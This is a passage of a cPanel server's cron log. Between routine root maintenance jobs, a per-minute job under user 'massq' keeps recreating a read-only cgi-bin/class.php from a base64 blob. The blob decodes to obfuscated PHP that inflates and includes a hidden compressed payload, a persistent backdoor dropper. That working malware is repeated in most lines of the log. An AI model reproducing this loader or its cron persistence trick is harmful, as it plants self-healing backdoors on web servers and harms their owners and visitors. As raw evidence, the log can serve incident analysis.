Q9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:48:01 server CROND[23739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:49:01 server CROND[23808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:50:01 server CROND[23888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:50:01 server CROND[23889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:50:01 server CROND[23891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:50:01 server CROND[23892]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 23:50:01 server CROND[23893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:51:01 server CROND[24011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:52:01 server CROND[24075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:53:01 server CROND[24223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:53:01 server CROND[24224]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr  8 23:54:01 server CROND[24288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:55:01 server CROND[24340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:55:01 server CROND[24341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:55:01 server CROND[24342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:56:01 server CROND[24449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:57:01 server CROND[24509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:57:01 server CROND[24510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 23:58:01 server CROND[24559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:59:01 server CROND[24710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:00:01 server CROND[24789]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr  9 00:00:01 server CROND[24792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:00:01 server CROND[24791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:00:01 server CROND[24793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:00:01 server CROND[24796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:00:01 server CROND[24794]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
